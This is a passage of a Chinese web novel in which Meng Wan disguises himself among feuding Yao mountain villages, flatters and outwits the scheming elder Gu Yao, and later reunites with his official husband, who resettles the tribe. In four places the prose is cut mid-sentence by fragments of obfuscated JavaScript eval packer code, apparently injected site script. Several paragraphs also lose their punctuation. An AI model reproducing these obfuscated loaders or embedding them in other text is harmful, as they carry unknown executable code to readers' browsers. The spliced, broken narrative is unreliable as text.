“那我姑父不就是在这里?他们平沺寨也是小寨子。” 孟晚神态认真的说:“我觉得外围也没什么不好下山就是最近的城镇还能在山上种些果子下山去卖。” “还是在寨子里面比较好我可以问问平沺寨的人开没开始建房若是没有可以往里迁迁。”抢先搭话的燕林寨人闻言有些尴尬他忘了孟晚亲戚也是小寨子人了。 巡逻队的其他人心里感动孟晚为他们小寨子人的说话但同样也认为孟晚说的话有些天真的好笑。 “卖什么果子啊寨里的女人小哥儿爱吃的玩意拿到山下买两三个铜板多丢人。” 孟晚心里翻白眼面上笑呵呵的解释“卖果子怎么会丢人?我们老家寨子里的族人经常下山买卖还会在山里猎来猎物卖到山下酒楼呢。” 巡逻队的人附和了他几句但能看出来表面上还是不相信的。 后半程的路上大家都有些尴尬的没有太多言语巡逻队的人是要先把外来人口带到燕林寨瑶长那里的。 孟晚等人又走了很长一段的路才被带到最中心的燕林寨。 在燕林寨一座地势平坦的空地上见到了忙得不可开交的瑶长那是一个看起来十分睿智的中年男人做寻常瑶族人打扮身上也没有装扮太多饰品。 巡逻队的将将孟晚等人的来历都说了一遍后才依依不舍的离去燕林寨的那个还叮嘱孟晚在寨里遇到困难可以去他家找他。 简单被孟晚捯饬过脸的那拓古怪的看着那群年轻人的背影。 “孩子们你们尽管安心住下我们燕林寨欢迎每一个瑶族人。”燕林寨瑶长古爻一脸慈祥的说。 小寨子只有瑶长只有大山寨才分为瑶长和头人。头人负责带领青壮劳力捕猎瑶长负责调解寨子里的大大小小**和人文祭祀。 要是孟晚没猜错燕林寨的头人这会儿应该也和那拓似的不在自己寨子而是带人去了风仝寨。 “多谢瑶长我们想先去看看亲人可以吗?”孟晚在兰朵的期盼眼神中问了句。 古爻一副很好说话的样子“当然可以我一会儿就可以叫人带你们去平沺寨现在住的地方。” “但是现在我想问这位漂亮的小哥儿一个问题你们真的是瑶族人吗?” 那拓心里一突燕林寨的头人是见过他的但瑶长肯定不知道他的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“我本来以为能瞒下去,没想到被您看穿了。其实不光我的耳朵,我几个兄弟们都有不同程度的残疾。”孟晚眼睛渐渐泛起水光,指着雪生,“我大哥,是哑的。” 雪生默默抿紧嘴巴,记住自己的人设。 孟晚又把阿寻和黄叶拉过来,“我两个弟弟都是长到六岁莫名失了声。” “我最小的弟弟石见,更是生下来就不会说话。”又变成小弟弟的阿砚配合着捂住小嘴巴。 饶是古爻是燕林寨最有智慧的瑶长,这会儿也吃惊的说不出话来,五个兄弟四个哑巴?唯一一个会说话的还是个半聋? 孟晚揉了揉眼睛,使其变得更红,“我们兄弟几个就是因为在原本的山寨里总是受到排挤,这才会跑来投奔平沺寨的姑姑姑父。” 他为了煽情,强行和几人抱在一起,但其他人为了维持哑巴人设不能出声,只能听到孟晚的干嚎,孟晚还把自己眼泪抹到阿砚脸蛋上装模作样。 那拓和兰朵震惊的看着这一幕,他们和孟晚一行人相处一路,自然是知道雪生几人会开口说话,这会儿就这么被孟晚随口胡诌成了哑巴了? 古爻有些尴尬,他想起雪生等人好像确实一直都安静的在后面不言不语,原来竟然是不会开口说话吗? 孟晚胡说八道的确实有些道理,成功的糊弄住了古爻,但不知是不是孟晚的错觉,知道他们身体有缺陷之后,古爻对待他们的态度好像没有之前热络了。 倒是那拓和兰朵装作的一家三口更受古爻欢迎,得知他们是下山后回来发现家人不在才找过来的,也没有像孟晚一样盘问,而是直接叫人带领他们去了平沺寨的驻地。 不出意外的,平沺寨住的极远,他们走到天都黑了才看到几个简易的草棚。 兰朵的父亲和几个族人正在借着火堆的光砍伐竹子,平沺寨的人现在都挤在草棚里,要想尽快住上自己的竹楼,他们就要抓紧一切时间干活。 兰朵抱着兰山小跑着过去,“阿爸!” 兰朵阿爸震惊的怔在原地,嘴巴微张,许久才发出声音,他扶住女儿,“兰朵,你怎么找来了?” 他私心是不希望女儿再回来的,就留在山下也不错,但现在看到女儿和孙子,才发现自己还是舍不得他们。 孟晚松了口气,将兰朵送至家人身边,他的承诺算是完成了。 接下来——他要去干正经事了。 第43章 盘古王 他们在平沺寨这里安顿了一晚十多个人挤在一间临时搭建的草房里哪怕兰朵一家人将角落处最宽敞的地方留给他们阿砚还是不习惯。他从来没有在环境这么差的地方睡过觉哪怕是马车上也是舒舒服服的夜里躺在孟晚怀里掉眼泪小声说想家了。 孟晚轻声哄他“明天阿爹就给你找个漂亮的小楼住好不好?三天最多三天咱们就回去。” “回去要祖母给阿砚做大鸡腿吃。”阿砚哼哼唧唧的在孟晚怀里撒娇眼角还有要坠不坠的眼泪珠子。 孟晚心中酸胀头回当爹他也有很多不成熟甚至不着调的地方。既希望阿砚多经历些风雨勇敢坚强。又希望给他打造一座结实漂亮的堡垒让他一生都无忧无虑衣食无忧。 哪怕只去过一次盛京孟晚也知道那里是个会**的地方多少人都无声无息的丢掉了性命。 宋亭舟走仕途以后早晚会回盛京阿砚身为他们的独子早晚都要历练起来。与其让他长大后自己跌跌撞撞还不如趁早在自己身边多见见世面。 阿砚和大人们折腾了这么久累的第二天天亮饭菜都做好了还没有起床。 黄叶也没睡好一大早就从他们的行李里面取出面粉借了平沺寨的厨房煮了一小盆面条虽然没什么油水但也香气扑鼻。 黄叶见阿砚还没睡醒便留了一碗面给阿砚上面铺了两根野菜和一个荷包蛋蛋还是兰朵给他的。 因为孟晚胡编乱造的人设众人暂时不能暴露破绽他们一行人找了个偏僻的小角落吃起饭来。 黄叶端着面碗去里面换孟晚过来吃面他进去边吃边看着阿砚。 孟晚盛了一大碗面条坐在一块大石头上挑着吃。 旁边的那拓突然有感而发“你弟弟做饭很好吃之前我没有吃过面粉寨子里都是吃米饭。” 孟晚端着面碗半点没有官夫郎的架子“外面好吃好玩的还有很多你们不应该因为不想改变现状而一直困顿在深山里。” “我们平时也会下山和村里人交换东西。”那拓还在不死心的为瑶族人争辩。 孟晚摇了摇头 “你们和燕林寨的人到底为什么会打起来?”孟晚终于想起来问这个较为重要的问题。 那拓眼睛左顾右盼 这个挺阳光的汉子提到这件事竟然一半恼怒一半娇羞起来,让孟晚怀疑是不是就因为那拓的桃色新闻。 可能是他的表情有些异样,让神经大条的那拓都看出了端倪,那拓忙解释道:“不是我,是我的姐姐那岚,她本来和燕林寨的头人有婚约。” 孟晚来了兴致,他把空了的面碗往旁边一放,“然后呢?” “然后他们成婚前我姐姐和别人……走了。”那拓神情有几分尴尬,这事确实是他们理亏。 孟晚领悟,那不就是逃婚? “之后呢?”眼见着那拓对燕林寨的敌意也不少,应当后来又发生了别的事情吧。 “燕林寨的头人就是个疯子,我们提出补偿他,他什么也不要,竟然把那岚给重新抓了回来!”那拓脸上愈发神色难看。 她姐是不怎么靠谱,但和燕林寨的头人只见过几次而已,退婚前也带着礼物上门了。他们瑶族人虽然大部分都靠联姻,但也算是婚姻自由,不光他姐这一个没能成功联姻的,谁知道在燕林寨头人这里翻了车。对方就认准一个死理,就是要娶那岚,实在不行他嫁也行。 孟晚听得叹为观止,禹国人若是男子入赘活像是受了什么奇耻大辱一样,里子岳家给了,还非要再占个面子,得了便宜还卖乖。瑶族人这思想很前卫的啊,怎么还会排斥外族呢? “那你姐现在是在燕林寨里?”孟晚其实早就觉得燕林寨的瑶长不简单,昨天一见更是肯定了心中猜想,只怕便是没有这桩联姻事故,燕林寨也会找其他理由挑起两寨之间的战火。 那拓神色更为古怪,“不,她从燕林寨逃跑了……” 还是被燕林寨头人亲自放走的,那就是个疯子,自己舍不得伤害那岚,转头又非要去他们风仝寨挑衅那拓。 那拓一脸便秘的说完,孟晚突然对燕林寨头人好奇起来,这么一个人,为什么会心甘情愿的听从他们瑶长的话呢? “雪生,你留在这里保护阿砚,我和那拓去找瑶长。”吃饱喝足,孟晚也该快速干起正事了,时间紧迫,起码给他儿子搞个好一点的住处。 他和那拓去到了燕林寨的范围,竟然还有巡逻的人拦截他们,好在遇上了昨天巡逻队的人。那人对孟晚一脸殷勤,听说他要去找瑶长二话没说就去带路。 “我听说昨天你住在平沺寨啊,他们建了好几天了,一座竹楼都没建好,你和你弟弟们不如 住在我家吧?我阿爸阿妈给我建了新房。巡逻队的人扭扭捏捏的说。 住人家新房,岂不是默认了要嫁给他? 孟晚嘴角渐渐平息,发觉快要走到昨天遇见古爻的地方,他一脸肃穆的说:“我信奉的是盘古王,发誓要终身侍奉与祂,不会与人成亲! 他声音不小,寨子里或劳作、或休息的男女老少都将目光往这边看。毕竟西梧府的瑶族人,信奉的都是密洛陀女神,虽然知道别的地方有其他信奉,却也没有当着密洛陀女神的信徒们,大声嚷嚷自己要终身侍奉盘古王的道理吧? 燕林寨的人觉得孟晚好像有点大病,连巡逻队那人也不再如之前热络了。 “我们的种族是包容的,盘古王和密洛陀女神一样都是我们的瑶族伟大的神灵。 出乎意料的,古爻从他们面前的竹楼上走了下来,替孟晚说了句话。 他面容虽然平静,可孟晚却察觉到了他双目中隐藏的兴奋,那是偶然发现同类的狂喜。 “我的孩子,你叫什么名字?可以和我上楼说话吗?他一改昨日的虚应,迫不及待的邀请孟晚上门。 孟晚受宠若惊的说:“当然了瑶长大人,我叫石夜。这是他昨天来之前编的名字。 虽然古爻只邀请了孟晚一人,可那拓还是自发的跟了上去。 古爻多看了他一眼,并未驱赶。 古爻做为瑶长,所居住的竹楼是整个寨子里最大的,上面竟然还有一间会客厅,里面摆了很多竹椅,应当是平时族里有重要事情时,临时开会用的。 古爻坐在最上面,亲切的招呼孟晚挨着他坐下,“石夜,你先前的寨子里,所有人都是盘古王的信徒吗? 孟晚只是昨天见到古爻的时候,看到他胸口佩戴的银饰,那是云雾缭绕的混沌,极难看懂。巧的是孟晚经历壵族一事后,特意做过瑶族和鹋族的功课。 西梧府所有瑶族,信奉的都是密洛陀女神。他仔细观察过,包括兰朵在内的瑶族人们,服饰和银饰多打造成日月相关的样式。传说密洛陀左右耳环分别化作太阳和月亮,因此日月是他们这一支瑶族人最喜爱的图腾,代表着光明、温暖、生命。 而瑶长所佩戴的混沌,则是盘古王的明显象征,盘古王开天辟地,象征着力量和无上的权威。 按理说一个全族信奉密洛陀,崇尚和平的山寨瑶长 ,怎么可能跑去信盘古王呢? 原因很多,不大好猜,但他敢明目张胆的将盘古王图腾制成银饰贴身戴着,便能一眼让孟晚看穿——这是个极其自负的人,他甚至看不起自己的族人。认为自己就算做为瑶长公然佩戴其他神明的图腾,自己无知的子民也不会看穿。 猜对了大半之后,剩下的事对于孟晚就比较简单了。 和一个聪明人相处要加倍小心,和一个聪明且盲目自大的人相处,则非常简单。就是要认同他的信仰,让他认为自己不再是个孤独的智者,不着痕迹的吹捧他。 自负的人多多少少都带着些表演型人格,天才需要见证人,而且还不能是蠢货。 把他的“聪明”当成彼此心照不宣的默契,用隐性的认可,让他觉得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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孟晚半点不为这个诱惑所动,他干脆利落的拒绝道:“抱歉,古爻大人,我有我自己的信仰,与燕林寨不同。我想燕林寨的人是不会接受我做为下一任瑶长的,而我只要专心侍奉盘古王。” 他要是干脆利落的答应下来,古爻反而会怀疑他的用心,可孟晚竟然连一秒都没有犹豫的拒绝了。哪怕是六岁的孩子,都不会拒绝成为瑶长的诱惑。除非是真正把信仰当作一切的狂热信徒,才会为了信仰如此痴狂! 古爻的心情前所未有的美妙,他端着一派成熟和蔼的姿态,极力诱惑孟晚,“石夜,难道你就甘心盘古王只有你一个忠诚的信徒吗?盘古王是那样勇猛,如果你只是窝在寨子里供奉他,与你之前不屑一顾的族人有什么不同?” 孟晚像是被他说动,神情挣扎。 古爻张开双臂,“孩子,瑶族已经沉寂太久了,接下来我会统一整个瑶族。世世代代**起来,早晚有一天,我们会变成第二个禹国!我需要你的帮助,因为,我们是一样的。”他意有所指地拿起胸口的混沌银饰。 孟晚恍然大悟,他倒吸了一口冷气,缓缓将双手合在一起轻拍,“您真是如同盘古王一样伟大的领袖,我愿意做您的义子,继承您的意愿。” 那拓在门口一开始无聊的听了两嘴,到后来已经眼睛越瞪越大,古爻和孟晚的话每句都是瑶语,而且孟晚还越说越激动,反而是那拓听不懂了。 他们在说什么? 什么盘古王? 为什么才过去一天,这个府城的官夫人就要留在瑶寨里做下一任瑶长了? 孟晚叭叭叭的和古爻一顿交流,边说边分析对方心理,他还以为古爻搞这么复杂是有什么大动作,原来是为了统一瑶寨方便管理啊! 想法不错,行为偏激,最奇葩的是自大过妄,还第二个禹国呢?不与外交,封闭管理,就瑶族这点人口都不够他折腾的。 最后都在山里近亲结婚,生的孩子都会有基因缺陷,不超三百年就会一个正常人都不剩,简直自取灭亡。 果然——再聪明的人也要多读书啊! 感谢国家九年义务教育! 第44章 反派死于话多 一人得道鸡犬升天,来到燕林寨的第二天,孟晚带着几个哑巴兄弟,住进了一间离古爻最近的竹楼。 竹楼没有古爻的住处大,但几人好歹不用在和平沺寨的一大群人挤在一处。楼上两间房孟晚和阿砚一间,阿寻和黄叶一间。雪生、那拓两人只能在一楼搭了张床,两面挡上一排竹席遮挡蚊虫。 “夫郎,咱们的米面不多了。”黄叶在楼上,几乎用气音和孟晚说话。 孟晚正在铺床,他们的行李都留在山下小镇的客栈里,只每人带了两身瑶族衣裳,和两床给阿砚准备的布单。 “没事,我有办法弄到米面,不必节省,该煮多少煮多少。” 听了他的话后,黄叶心里有了底,跑下楼去准备午饭。 小公子早上就没吃多少东西,中午可以去旁边邻居们的家里问问能不能换几个鸡蛋,给小公子炖碗鸡蛋羹吃。只是黄叶现在还要牢记不能说话,用手比划旁人又总是用异样的眼光打量他。 晌午他们在楼下刚开饭,古爻就叫人来喊孟晚。他在瑶寨生活四十多年,头次体会到什么叫“知己”。才分开一会儿而已,就又想找孟晚再聊聊人生理想,连阿砚都没有这么粘人。 “义父,我知道你心中抱负宏大,可……”不对,孟晚说到一半反应过来,他瞥见古爻平淡的脸色,暗自思忖不能直接劝。话硬生生拐了个弯,转为痛心疾首说:“可太辛苦您了,那些平凡的族人根本不能体会您伟大而智慧的头脑,他们只会愚蠢的抱怨。” 古爻眼神一动,“你都听到了什么?”作为瑶长,他在燕林寨的威信是毋庸置疑的,没有人敢当着他的面说三道四。 孟晚神情愤愤,“他们享受着燕林寨如今是瑶族首领的荣耀,暗地里却在抱怨不想自己的儿子丈夫去风仝寨参与争斗。” 孟晚这还真不算瞎说,寨子里确实有人不满家人去攻打风仝寨,两头联姻这么多年,风仝寨里甚至还有自己的兄弟姐妹、侄子、侄女、外甥女,伤到哪一边能开心?还不如不打。 他们实在不理解瑶长为什么要攻打风仝寨。 聪明人的另一个坏处就是多思,孟晚抛出个引子,古爻就能自动补全余下。他脸色有片刻的阴沉,很快又恢复如初,反问孟晚:“他们只是被眼前的和平生活所蒙蔽了,不知道眼前的安稳都是暂时的。风仝寨的青壮年比我们燕林寨更多,谁又能知道风仝寨的瑶长会 不会率先对我们寨子下手呢? 孟晚顺着他的话说下去,“义父说的太对了,我实在看不惯他们安守在寨子里还胡乱揣测您。我愿意继承您的信念,去向族人传递您究竟为全族人改变现状,做出多大的努力,他们根本不明白! 孟晚跟个妖妃似的,胡乱在古爻这里进献谗言,一顿组合拳砸的古爻好一会儿都没吭声。 孟晚坐着无聊,跑了一天又饿,见桌子上古爻刚吃过半个的油炸粿子,就放在盘子边上。盘子里还有七八个金黄酥脆的粿子没动,看着就香,便悄悄伸出手拿了一个慢慢吃。 古爻内心下定了某种决心,刚要对孟晚说什么,就见对方把手伸到第二块粿子上,被他发觉也不尴尬,大大方方的笑了一下,拿起来继续吃。 “爱吃的话一会儿走的时候都端走吧。古爻露出一抹慈祥的笑意。 孟晚把盘子挪到自己身边,好听的话不要钱一样往外倒,“我与义父之间不是亲生胜似亲生,只有义父理解我,心疼我,我也从未将义父看做他人。一盘粿子,我若是推脱岂不是寒了义父的心?这便收下了。 古爻见他也不嫌自己,将自己吃剩的半块都划拉进了盘子边上,好笑的同时又体会到了某种其他的心情,胸口酸胀不已,那是他养儿二十载都没有感受过的陌生情感。 “好!这件事就交给你去办,今晚你来我这里,我要对所有寨子里的头人宣布,你就是下一任的瑶长! 孟晚端着盛放油炸粿子的盘子,走到居住的竹楼里,路过厨房时顺手就把那半块粿子扔进了灶台底下,黄叶见状默默往里面塞了一把干柴。 晚上古爻果然对外宣布了孟晚的身份,又是惹来一阵非议。他们实在不理解为什么瑶长不选自己的儿子,带领族人去风仝寨的头人古岩,反而选了个刚来投奔他们燕林寨的小山寨瑶人。 直到第二天孟晚背着个布包,四下开始“传经布道,硬生生靠自己的三寸不烂之舌,短时间内忽悠出来一大批小寨子的拥护者,古爻才终于觉得事情有些不对劲。 不是说好的让族人觉悟?怎么石夜一直在接近那些小山寨的瑶族人? “我几个弟弟就是因为近亲成亲,所以才各有缺陷,难道你们没有发现吗?虽然大部分孩子都是健康的,但近些年,瑶寨里出生便有缺陷的孩子是不是越来越多了? 孟晚坐在溪边的石头上侃侃 而谈,周围围了一群瑶族人,其中以小寨子的人居多,但也不是没有燕林寨的人。 随着他一段话说完,已经有人开始讨论起来。 “石夜说的不错,我弟弟的一对儿女,竟然一个少了两根手指,一个生下来就不会说话。” “我记得你弟弟是娶了你姐姐的女儿吧?竟然真的和石夜说的一样!” “原来是因为不能和表亲结亲吗?怪不得我女儿生下的孩子是傻的,石夜要是早点来瑶寨就好了,那我就不会让她嫁给阿布。” “什么石夜石夜的,这是咱们瑶长!” 孟晚在几天前,把瑶族人从将信将疑,忽悠到现在对他毕恭毕敬,靠的不光是满口胡侃,自然还是有很多科学依据的。 七分真三分假,真真假假,连古爻都给蒙骗住了。 “我们如果再多困在深山里,不需要太长时间,只要三百年,族里将不会再有正常孩子出生。所以想扩大种族最根本的原因,不是排外,而是融入,与禹国人通婚!” 古爻站在人群的最后方,顾不得他瑶长的威严和体面,上前走到孟晚身边,脸色阴沉的像是要滴下水来,“你是故意的?” 孟晚从石头上站起身来,表情十分无辜,“义父,你在说什么啊?你交代的事我都办好了,现在大家每天再也不会抱怨你整合山寨了!” 都在想怎么才能让自己女儿儿子嫁给山下禹国人,或是娶回寨子里几个禹国媳妇儿。 “你其实是禹国人吧?你根本不是我们瑶族人!”几天过去,古爻终于琢磨到了关键之处,他之前防备孟晚的方向根本就错了,孟晚一个外族人,当然不惧他们瑶族的信仰和誓言,他可以随意在自己面前捏造信仰的神明,从而取得自己的信任! 没想到被发现的比预想中要早,孟晚脸上恭敬的神色瞬间消失的无影无踪,他疾言厉色地质问古爻:“就是因为我戳破你自私的假面,你就要这样造谣我吗?” “请问你在燕林寨好好的瑶长不做,为什么要你的儿子古岩头人故意惹怒风仝寨,促使两寨之间的斗争,使无数本来安安分分的瑶族人丧命!” 面对别人犀利的提问,最好的反击不是想怎么回答才能摆脱自己的嫌疑,而是反问对方一个更加难以启齿的问题。 古爻虽然聪明,但与身经百战的孟晚显然不在一个段位,他知道自己争辩不过对方 ,干脆冷笑一声,挥了挥手,身后便出现五六个健壮的燕林寨人。 “义父,你难道要当着这么多同族人的面将我抓起来?”孟晚抿着唇,眼睛虚虚的看着前方,周身气势淡定,丝毫没有古爻想象中的慌乱表情。 他话音落地,围在他们四周的男女老少便面色不善的站了起来。 他们被燕林寨强硬的手段征入山寨,却连个正经住所都没有,好像一群无家可归的流浪人,心中早就充满怨气。 他们自己寨子的瑶长少有靠谱的,多的是兰朵寨子瑶长那般软弱可欺,只是辈分大,并无什么建树的瑶长。 没有人是傻子,孟晚是真心实意还是虚与委蛇这些小寨子的瑶人能感受出来。孟晚是他们认可的瑶长,态度和善,说的话又都是为了他们好,这才是真心为他们未来着想的好人! 因为黑叶县的粮食没到手,供应不起大部队路上吃喝,古岩只能撤回一半的人回来。现在留在寨子的所有人里,燕林寨和其余小寨子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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一道醇厚磁性的嗓音响起,孟晚回身望去,一个身高卓越,穿着和瑶族服饰相近,细节上却不尽相同的年轻哥儿。他身后还提着两个瑶寨的人,正是山上最后一哨的两人。 孟晚仔细看了看他面上不起眼的一粒孕痣,倒吸了一口冷气,不好,忘了这世间还有高人了,普通人对这种身手的人来说随随便便就能一打十。 他收拾好内心的惊讶,调整了一番面部表情,挂起个无害的笑脸道:“不知是哪一族的朋友来到我们瑶族的领地,有什么事还请过来详谈,我们瑶族向来热情好客,请一定要留下吃个便饭,让我一尽地主之谊。” 来者不善,得让阿寻搞点**过来! 古爻在竹楼上叫嚷,“不要相信他的话,他就是个骗子!” 蚩羽神情古怪,这个漂亮的瑶族人在说什么?宋大人明明说山上最好看那个就是他夫郎,他夫郎不是应该说禹国官话吗?自己还特意学了几句,难道找错人了? —— 山下宋亭舟带着大堆作乱的瑶族人,紧赶慢赶的进了燕林寨范围的山林,入目是一大片还没建立完成的竹楼、劳作的瑶族人、聚在一起玩耍的小孩。 他儿子正站在一群大小孩子中间,单脚站在石头上,努力用两只手扶着膝盖,稳住摇摇欲坠的身形。 说话的时候脸颊抖动,看的出来用了极大的力气,“补葱粮草!亲虐地盘!” 然后又指着一个个子比他还高出一头的小男孩说:“你!坏坏!找屎!!!” 宋亭舟:“……” 他身后的陶家兄弟等人全都默默憋笑,楚辞怀疑自己弟弟是不是被掉包了。 宋亭舟吐了口浊气,沉沉的唤了阿砚一声,“阿砚。” 阿砚正演到兴头上,听到熟悉的声音茫然的扭过头去,然后便看到风尘仆仆,下巴上还泛着青色胡茬的宋亭舟,呐呐的喊了句,“爹?” 喊完嘴巴小幅度的抖动,开始大颗大颗的掉眼泪,跳着从石头上下来奔向他,“爹!” 宋亭舟心头一软,大步向前走到阿砚身边,然后弯腰将他抱进怀里,“乖阿砚,不哭,你阿爹呢?” 雪生从旁边走过来对宋亭舟见礼,“大人,夫郎在和你派来的人交谈。” 阿砚也比比划划,“和爹一样高高的。” 宋亭舟从怀里掏出一方帕子,替他擦掉脸上的泪水,“我带你去找你阿爹。” 他将人手留下,带着阿砚和楚辞去找孟晚,雪狼精力无限的跑到他们前面带路,庞大的身躯将瑶寨里的瑶族人吓得不轻。 第45章 米粉 宋亭舟抱着阿砚找到孟晚的时候他正在竹楼下招待蚩羽远远见他穿着瑶族服饰头上系着一尺宽的抹额容颜俊美气势哪怕收敛着也能看出异于常人。 周围有瑶族人会偷偷将目光投向孟晚身上不带任何邪念和欲念只是单纯的崇拜眼神。 宋亭舟油然而生一种淡淡的自豪感清了清嗓子才走到近前喊道:“晚儿。” 孟晚回身系在脑后的彩色穗子打在他裸露在外的细腻脖颈上。宋亭舟能清晰的看见他本来情绪淡淡的双眸中瞬间溢满喜悦。 “舟郎!” 孟晚甩下蚩羽小跑到宋亭舟身边声音清澈尾音稍稍上扬“德庆县的事解决完了?” 宋亭舟单手抱着阿砚另一只手牵住孟晚“解决了连带鹋族的事也差不多了。” 孟晚小声抱怨“那就好好一会儿我和你说瑶族的事我都快住腻了剩下的你来吧。”山中蚊虫多哪怕有阿寻的药粉潮气也比山下更甚孟晚早就不想待了。 他在爱人面前才能卸下防备全身心的依靠宋亭舟露出疲惫的姿态。 宋亭舟轻抚孟晚消瘦疲惫的脸颊“都交给我你休整几日先和阿砚小辞回家去。” 孟晚笑眼弯弯他抬手用手指抵了抵宋亭舟下巴上的胡茬带来酥酥麻麻的痒意“估计也剩不了几天了我们在山下镇子上住几天也好到时候一起回家。” 他们在一起黏黏糊糊的说了几句话孟晚便干脆利落的交代黄叶收拾东西黄叶习惯性沉默的点点头。 孟晚“扑哧”一声笑了“大人回来了不用再装哑巴了。” “啊?对哦。”黄叶反应过来也开始跟着孟晚笑收拾行李的时候都透着一股子轻松。 楚辞和孟晚打过招呼之后就去找阿寻孟晚觉得两人从小一起长大确实有点苗头但他怎么看怎么像初中生早恋。 算了顺其自然吧。 宋亭舟以官府的名义强硬接手瑶寨在如今称得上一盘散沙的现状下再加上漫山遍野的府兵顺利的拿下几个刺头开始重新检籍造册。 府衙里来了许多的小吏大家分工配合下检籍进行的很快。瑶寨同鹋寨不同人口有加在一起足有六千八百多户 好在古爻 算是干了件好事,将所有人都**到了一处,最外侧离山下的乡镇并不远。 宋亭舟不愿拖拉,当即便决定要先修一条从山下城镇进山的路。同时尽快帮这些瑶人安家,全族不分什么寨子,以家庭为单位抓阄打撒开来,从山下往上开始建造竹楼。 竹楼的建造成本不高,主要人工麻烦,府兵和衙役正好解决了这个**烦。 瑶族人本来对官府的到来是隐隐排斥的,这些人要将他们打散分开,不知道是要做什么。而且姿态强硬,燕林寨还多少找了个借口,这里的官只要他们听着。 然后,他们本来忐忑的心第二天突然变成震惊,官府的人竟然在帮他们盖房子、修路! 而且比起曾经简易的竹楼,他们还往山上运了什么一车车黑灰色的土, 搅拌起来做竹楼的地基,一楼也用到许多这种材料,只有二楼才是竹楼本体的样子。 瑶族人心里虽然有些淡淡的怪异感,但有人帮忙建房已经很好了,大家都热火朝天的帮起忙来。 因为人多,一个月的时间过去,路先修建完毕,山上的竹楼也已经从山脚修到了山上。 抓阄抓到山下的人家原先还不太满意,瑶族人擅长打猎,都喜欢往山里住。这会儿他们却成了第一个住上房子的人。 这已经称不上是竹楼了,只能叫干栏式建筑。山下的瑶族人只住了几天,便察觉到这些怪模怪样房子所带来的便利之处。 天气开始炎热,不知是不是错觉,总觉得屋子里比往年更凉爽一些。 楼下的厨房也不用再小心防火了,而且楼上承重能力更强,可以放更重的东西,走动间也没有竹楼惯有的“咯吱”声。 大家和新邻居们热热闹闹的搬进新家,住了几天大家开始张罗着自己做栅栏围个小院子。官府只管盖房,这种小细节就随他们自己来了。 到这个时候,他们已经发觉官府和燕林寨的区别了,因为说话语言不通,他们就一门心思干活,互不打扰。除了人看着都比较冷肃外,人家可是实打实的给他们盖了房子,就这一点就能激起瑶族人的好感。 山下的村民有时候还会上来凑热闹,大着胆子和他们搭话,没多久就有聪明的瑶族人会说了几句官话。 虽然他们还不敢去镇子上看看,但眼里的渴望与好奇却日益剧增,走出这座山是早晚的事。 宋亭舟在燕林寨顶到现在,只剩收尾工作,交给其他官吏即可。孟晚在镇子里也住了一个月,他们是时候回家了。 临走前,孟晚对一直在燕林寨干活的那拓说:“等这边的房子都修建好,你们风仝寨的路也该修了。你亲自参与了这边的修缮,应该明白居住的地方越靠近山下往后越是方便。那些在风仝寨附近的寨子,若是太远的,还要你规劝他们往外搬搬。 那拓从来没想过他们瑶寨会朝从未预想过的道路发展,也不知是好是坏,他神情复杂的应了声,“好。 孟晚又邀请他,“反正我们回去也要路过黑叶县,你同我们一起上路吧,路上正好问你些事情。 他说是这样说,可一路上却并没有与那拓交谈什么,反倒是那拓自己听了一路他和宋亭舟两人有来有回的交谈。 他们夫夫二人虽然说得是官话,可时不时还会拿本册子写写画画,写的是宋亭舟,配图的是孟晚。 那拓曾看了几眼……但是看不懂,他暗自脸红。 马车重新行驶到黑叶县,宋亭舟要去县衙办事,孟晚带着几个小的下车在城里闲逛。 “我真想带你去赫山县看看。孟晚突然对那拓说了一句,眼神中闪着亮光,随后又对着那拓不解的样子笑了笑,“可能以后会有机会也说不定。 “赫山县? 他们走到一处小巷子外面,有很多小孩在巷子里玩沙包,阿砚蠢蠢欲动。 “去吧,雪生,你进去帮我看着点阿砚。孟晚把阿砚放到地上的瞬间,他就像小炮仗一样冲进巷子,雪生紧紧跟在他后面。 紧隔着的另一条小巷传来郎朗的读书声,孟晚站到院子外头踮着脚往里面看,那拓不明就里的跟了上去,“你在干什么? “里面有孩子在读书。孟晚道,这是间启蒙用的小私塾,夫子多是童生,甚至有的连童生也没考上。 “读书?有什么用?那拓不明白。 孟晚今日有耐心,于是干脆和他掰扯掰扯,他缓缓说道:“人不是生来知事,若是将一个刚出生的婴儿扔进山林被野兽教养,那他长大也只能如同野兽一样食生肉、饮生血。 “我们瑶族,不会将孩子丢弃给野兽。那拓心里有些不舒服,不过,他已经有些明白孟晚说这些话的意思了。 “我知 道你们瑶族在山里自给自足生活也没有太多波澜大家都很满足现状。”孟晚直视那拓双眼接着说道:“但以后会有越来越多的年轻人想出来闯荡一番不是所有人都想归于平凡。” “每个世界、每个国家、每个民族总会有那么一个先行者会比别人更快一步。他/她会带领其他人一步步往前走若是跟不上他/她们的脚步就会一点点的被全世界遗忘。” 孟晚问向满目震惊的那拓轻飘飘的吐出最后一段话“你想让瑶族人变成一个谁都没听说的种族渐渐消失在禹国的大地上吗?” —— 六月初三日头斜斜坠西边天际将那道熟悉的城门染得一片暖金。 阿砚从车窗里探出一只小手接着是半个小脑袋黄叶自身后半抱着他生怕他掉下车去。 “阿爹!我们到家啦!” 孟晚半靠在车壁上目光穿过厚重的城门落在远 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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见他们都将米粉端到桌上,常金花把托盘一收,“我前阵子在店里碰到一对讨饭的祖孙俩,给她们买了几个包子,又送了两包店里的香酥羽脍。那老妇人见我面善,就大着胆子问我店里招不招人,他孙子可以干活。我见他们俩过得可怜,店里最近人手又确实忙不开,就让那小孩先在店里试试。” 